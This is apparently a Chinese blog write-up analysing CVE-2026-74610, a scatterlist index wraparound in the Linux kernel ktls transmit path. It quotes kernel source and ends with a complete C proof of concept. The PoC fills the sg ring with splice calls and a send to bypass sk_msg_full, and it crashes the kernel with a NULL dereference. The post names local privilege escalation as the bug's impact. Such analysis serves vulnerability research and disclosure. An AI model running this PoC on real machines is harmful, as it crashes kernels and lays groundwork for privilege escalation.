Linux内核漏洞分析之CVE-2026-74610
CVE-2026-74610 是 Linux 内核 ktls 子系统新近披露的漏洞,因散射链表处理错误导致越界。本文主要分析该漏洞原理,并给出可用于验证漏洞的poc
漏洞编号:CVE-2026-74610
漏洞产品:Linux内核ktls子系统
利用效果:本地提权
poc效果:触发Kernel Oops空指针解引用(复现环境可参考之前写的文章包括内核镜像这里不再赘述[空指针解引用无需kasan也会触发])
漏洞原理
漏洞主要源于ktls的TX路径对sg散射链表的检测不严谨,普通发送路径将数据存入sg之后未使用sk_msg_full检测sg散射链表槽位是否耗尽
static int tls_sw_sendmsg_locked(struct sock *sk, struct msghdr *msg, size_t size)
{
......
struct sk_msg *msg_pl, *msg_en;
struct tls_rec *rec;
bool full_record;
......
while (msg_data_left(msg)) {
......
if (ctx->open_rec)
rec = ctx->open_rec;
else
rec = ctx->open_rec = tls_get_rec(sk);
msg_pl = &rec->msg_plaintext;
msg_en = &rec->msg_encrypted;
orig_size = msg_pl->sg.size;
full_record = false;
......
alloc_encrypted:
ret = tls_alloc_encrypted_msg(sk, required_size);
......
if (try_to_copy && (msg->msg_flags & MSG_SPLICE_PAGES)) {
ret = tls_sw_sendmsg_splice(sk, msg, msg_pl, try_to_copy, &copied);
......
if (sk_msg_full(msg_pl)) {
full_record = true;
......
}
if (full_record || eor)
goto copied;
continue;
}
......
if (try_to_copy) {
ret = sk_msg_memcopy_from_iter(sk, &msg->msg_iter,
msg_pl, try_to_copy);
if (ret < 0)
goto trim_sgl;
}
tls_ctx->pending_open_record_frags = true;
copied += try_to_copy;
copied:
if (full_record || eor) {
ret = bpf_exec_tx_verdict(msg_pl, sk, full_record, ...);
......
}
continue;
......
}
......
}后续splice触发的tls_sw_sendmsg_splice调用sk_msg_page_add出现溢出导致回绕,绕过了sk_msg_full的检测
static int tls_sw_sendmsg_splice(struct sock *sk, struct msghdr *msg,
struct sk_msg *msg_pl, size_t try_to_copy,
ssize_t *copied)
{
struct page *page = NULL, **pages = &page;
do {
ssize_t part;
size_t off;
part = iov_iter_extract_pages(&msg->msg_iter, &pages,
try_to_copy, 1, 0, &off);
if (part <= 0)
return part ?: -EIO;
if (WARN_ON_ONCE(!sendpage_ok(page))) {
iov_iter_revert(&msg->msg_iter, part);
return -EIO;
}
sk_msg_page_add(msg_pl, page, part, off);
msg_pl->sg.copybreak = 0;
msg_pl->sg.curr = msg_pl->sg.end;
sk_mem_charge(sk, part);
*copied += part;
try_to_copy -= part;
} while (try_to_copy && !sk_msg_full(msg_pl));
return 0;
}使得一个满载的sg散射链表被当成只有一个槽位,后续被错误标记为end,寻址时返回NULL导致的空指针解引用
漏洞分析
想要搞懂这个漏洞最主要的是了解sg散射链表的相关原理,首先是怎么占据sg散射链表槽位,当我们使用send发送数据时,就算是分批次发送,形如:
for(int i = 0; i < 0x10; i++){
send(cfd, buf, 1, MSG_MORE);
}最终也只会占据一个槽位而不是填充满(该漏洞触发的核心在于填充满sg散射链表槽位然后溢出)
那么想要填充满sg散射链表的槽位则需要走这条代码路径(也就是要用splice)
static int tls_sw_sendmsg_splice(struct sock *sk, struct msghdr *msg,
struct sk_msg *msg_pl, size_t try_to_copy,
ssize_t *copied)
{
struct page *page = NULL, **pages = &page;
do {
......
sk_msg_page_add(msg_pl, page, part, off);
......
} while (try_to_copy && !sk_msg_full(msg_pl));
return 0;
}对应的用户态程序则是形如:
int pipefd[2];
pipe(pipefd);
for(int i = 0; i < 0x10; i++){
write(pipefd[1], ptr, 0x40);
splice(pipefd[0], NULL, cfd, NULL, 0x40, SPLICE_F_MORE);
}此外,触发漏洞的另一关键则是,溢出后的回绕
static inline void sk_msg_page_add(struct sk_msg *msg, struct page *page,
u32 len, u32 offset)
{
struct scatterlist *sge;
get_page(page);
sge = sk_msg_elem(msg, msg->sg.end);
sg_set_page(sge, page, len, offset);
sg_unmark_end(sge);
__set_bit(msg->sg.end, msg->sg.copy);
msg->sg.size += len;
sk_msg_iter_next(msg, end);
}
#define sk_msg_iter_next(msg, which) \
sk_msg_iter_var_next(msg->sg.which)
#define sk_msg_iter_var_next(var) \
do { \
var++; \
if (var == NR_MSG_FRAG_IDS) \
var = 0; \
} while (0)这段代码可能看起来有点怪异,但是形如这段代码:
do {
msg->sg.end++;
if (msg->sg.end == NR_MSG_FRAG_IDS)
msg->sg.end = 0;
} while (0);也就是自增end,如果end已经达到了峰值就重置为0(这可不算漏洞,是实现的正常功能,因为sg散射链表是一个环,不一定要完全从0开始使用,遍历范围取决于start和end这两个字段)
PoC构造
首先依旧是准备一个完全没问题的基础交互程序
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <linux/tls.h>
#ifndef SOL_TLS
#define SOL_TLS 282
#endif
int main() {
int lfd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_port = htons(12345),
.sin_addr.s_addr = htonl(INADDR_LOOPBACK)
};
int opt = 1;
setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
bind(lfd, (struct sockaddr *)&addr, sizeof(addr));
listen(lfd, 1);
int cfd = socket(AF_INET, SOCK_STREAM, 0);
connect(cfd, (struct sockaddr *)&addr, sizeof(addr));
int sfd = accept(lfd, NULL, NULL);
setsockopt(cfd, SOL_TCP, TCP_ULP, "tls", sizeof("tls"));
struct tls12_crypto_info_aes_gcm_128 crypto;
memset(&crypto, 0, sizeof(crypto));
crypto.info.version = TLS_1_2_VERSION;
crypto.info.cipher_type = TLS_CIPHER_AES_GCM_128;
memcpy(crypto.key, "1234567890123456", 16);
memcpy(crypto.iv, "12345678", 8);
memcpy(crypto.salt, "1234", 4);
memcpy(crypto.rec_seq, "\x00\x00\x00\x00\x00\x00\x00\x00", 8);
setsockopt(cfd, SOL_TLS, TLS_TX, &crypto, sizeof(crypto));
char *msg = "hello ktls";
send(cfd, msg, strlen(msg), 0);
char buf[128];
int n = recv(sfd, buf, sizeof(buf), 0);
for (int i = 0; i < n; i++) {
printf("%02x ", (unsigned char)buf[i]);
}
printf("\n");
close(sfd);
close(cfd);
close(lfd);
return 0;
}然后在这基础上改,payload的序列应该是什么样的呢?首先使用splice填充sg散射链表的槽位这是肯定的,但是要讲究方式方法,因为在tls_sw_sendmsg_splice后面会调用sk_msg_full,如果直接调用splice填充满就会触发这条检测,也就无法触发漏洞
if (try_to_copy && (msg->msg_flags & MSG_SPLICE_PAGES)) {
ret = tls_sw_sendmsg_splice(sk, msg, msg_pl, try_to_copy, &copied);
......
if (sk_msg_full(msg_pl)) {
full_record = true;
......
}
if (full_record || eor)
goto copied;
continue;
}所以payload的序列应该如下:
- 首先使用splice填充sg散射链表槽位(数量为距离填满-1)
- 然后使用普通的send填充一个槽位(此时槽位刚好被占满,但是send路径没有调用sk_msg_full检测[漏洞所在])
- 接着再使用splice触发sk_msg_page_add的溢出回绕(此时再触发sk_msg_full检测时,由于回绕该检测成功被绕过)
- 最后使用普通的send触发加密操作,加密操作会读取散射链表的数据,但由于散射链表被漏洞损坏最终寻址出现空指针解引用
完整poc:
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <linux/tls.h>
#ifndef SOL_TLS
#define SOL_TLS 282
#endif
int main() {
int lfd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_port = htons(12345),
.sin_addr.s_addr = htonl(INADDR_LOOPBACK)
};
int opt = 1;
setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
bind(lfd, (struct sockaddr *)&addr, sizeof(addr));
listen(lfd, 1);
int cfd = socket(AF_INET, SOCK_STREAM, 0);
connect(cfd, (struct sockaddr *)&addr, sizeof(addr));
int sfd = accept(lfd, NULL, NULL);
setsockopt(cfd, SOL_TCP, TCP_ULP, "tls", sizeof("tls"));
struct tls12_crypto_info_aes_gcm_128 crypto;
memset(&crypto, 0, sizeof(crypto));
crypto.info.version = TLS_1_2_VERSION;
crypto.info.cipher_type = TLS_CIPHER_AES_GCM_128;
memcpy(crypto.key, "1234567890123456", 16);
memcpy(crypto.iv, "12345678", 8);
memcpy(crypto.salt, "1234", 4);
memcpy(crypto.rec_seq, "\x00\x00\x00\x00\x00\x00\x00\x00", 8);
setsockopt(cfd, SOL_TLS, TLS_TX, &crypto, sizeof(crypto));
char buf[128];
memset(buf, 0, 128);
for(int j = 0; j < 16; j++)
buf[j] = 0x1 + j;
char *ptr=malloc(0x40);
memset(ptr,'A',0x40);
int pipefd[2];
pipe(pipefd);
for(int i = 0; i < 0x10; i++){
write(pipefd[1], ptr, 0x40);
splice(pipefd[0], NULL, cfd, NULL, 0x40, SPLICE_F_MORE);
}
send(cfd, buf, 1, MSG_MORE);
write(pipefd[1], ptr, 0x40);
splice(pipefd[0], NULL, cfd, NULL, 0x40, SPLICE_F_MORE);
send(cfd, buf, 1, 0);
close(sfd);
close(cfd);
close(lfd);
return 0;
}一些调试结果:
在tls_sw_sendmsg_splice之后调用sk_msg_full检测,rax理应从1递增到0x11然后检测到填充满的,但是由于漏洞原因被溢出回绕到了0,由此绕过了检测
此时的msg_pl如下,可以看到sg散射链表槽位被填满了,却错误地被当成空包状态(范围取决于start和end这两个字段!!!)
后续再用send发送时,会覆盖掉第一个槽位,end被递增到1,同时在tls_push_record中会标记end
static int tls_push_record(struct sock *sk, int flags,
unsigned char record_type)
{
struct tls_context *tls_ctx = tls_get_ctx(sk);
struct tls_prot_info *prot = &tls_ctx->prot_info;
struct tls_sw_context_tx *ctx = tls_sw_ctx_tx(tls_ctx);
struct tls_rec *rec = ctx->open_rec, *tmp = NULL;
u32 i, split_point, orig_end;
struct sk_msg *msg_pl, *msg_en;
struct aead_request *req;
bool split;
int rc;
if (!rec)
return 0;
msg_pl = &rec->msg_plaintext;
msg_en = &rec->msg_encrypted;
split_point = msg_pl->apply_bytes;
split = split_point && split_point < msg_pl->sg.size;
if (unlikely((!split &&
msg_pl->sg.size +
prot->overhead_size > msg_en->sg.size) ||
(split &&
split_point +
prot->overhead_size > msg_en->sg.size))) {
split = true;
split_point = msg_en->sg.size;
}
if (split) {
rc = tls_split_open_record(sk, rec, &tmp, msg_pl, msg_en,
split_point, prot->overhead_size,
&orig_end);
if (rc < 0)
return rc;
/* This can happen if above tls_split_open_record allocates
* a single large encryption buffer instead of two smaller
* ones. In this case adjust pointers and continue without
* split.
*/
if (!msg_pl->sg.size) {
tls_merge_open_record(sk, rec, tmp, orig_end);
msg_pl = &rec->msg_plaintext;
msg_en = &rec->msg_encrypted;
split = false;
}
sk_msg_trim(sk, msg_en, msg_pl->sg.size +
prot->overhead_size);
}
rec->tx_flags = flags;
req = &rec->aead_req;
i = msg_pl->sg.end;
sk_msg_iter_var_prev(i);
rec->content_type = record_type;
if (prot->version == TLS_1_3_VERSION) {
/* Add content type to end of message. No padding added */
sg_set_buf(&rec->sg_content_type, &rec->content_type, 1);
sg_mark_end(&rec->sg_content_type);
sg_chain(msg_pl->sg.data, msg_pl->sg.end + 1,
&rec->sg_content_type);
} else {
sg_mark_end(sk_msg_elem(msg_pl, i));
}
if (msg_pl->sg.end < msg_pl->sg.start) {
sg_chain(&msg_pl->sg.data[msg_pl->sg.start],
MAX_SKB_FRAGS - msg_pl->sg.start + 1,
msg_pl->sg.data);
}
i = msg_pl->sg.start;
sg_chain(rec->sg_aead_in, 2, &msg_pl->sg.data[i]);
i = msg_en->sg.end;
sk_msg_iter_var_prev(i);
sg_mark_end(sk_msg_elem(msg_en, i));
i = msg_en->sg.start;
sg_chain(rec->sg_aead_out, 2, &msg_en->sg.data[i]);
tls_make_aad(rec->aad_space, msg_pl->sg.size + prot->tail_size,
tls_ctx->tx.rec_seq, record_type, prot);
tls_fill_prepend(tls_ctx,
page_address(sg_page(&msg_en->sg.data[i])) +
msg_en->sg.data[i].offset,
msg_pl->sg.size + prot->tail_size,
record_type);
tls_ctx->pending_open_record_frags = false;
rc = tls_do_encryption(sk, tls_ctx, ctx, req,
msg_pl->sg.size + prot->tail_size, i);
if (rc < 0) {
if (rc != -EINPROGRESS) {
tls_err_abort(sk, -EBADMSG);
if (split) {
tls_ctx->pending_open_record_frags = true;
tls_merge_open_record(sk, rec, tmp, orig_end);
}
}
ctx->async_capable = 1;
return rc;
} else if (split) {
msg_pl = &tmp->msg_plaintext;
msg_en = &tmp->msg_encrypted;
sk_msg_trim(sk, msg_en, msg_pl->sg.size + prot->overhead_size);
tls_ctx->pending_open_record_frags = true;
ctx->open_rec = tmp;
}
return tls_tx_records(sk, flags);
}此刻,艺术已成,读取目标长度是0x442,第一个sg长度只有0x1,那么内核就会调用sg_next继续往下遍历,但是page_link被标记为end,就会触发sg_is_last的检测,该函数会返回NULL,最终boom💣空指针解引用
struct scatterlist *sg_next(struct scatterlist *sg)
{
if (sg_is_last(sg))
return NULL;
sg++;
if (unlikely(sg_is_chain(sg)))
sg = sg_chain_ptr(sg);
return sg;
}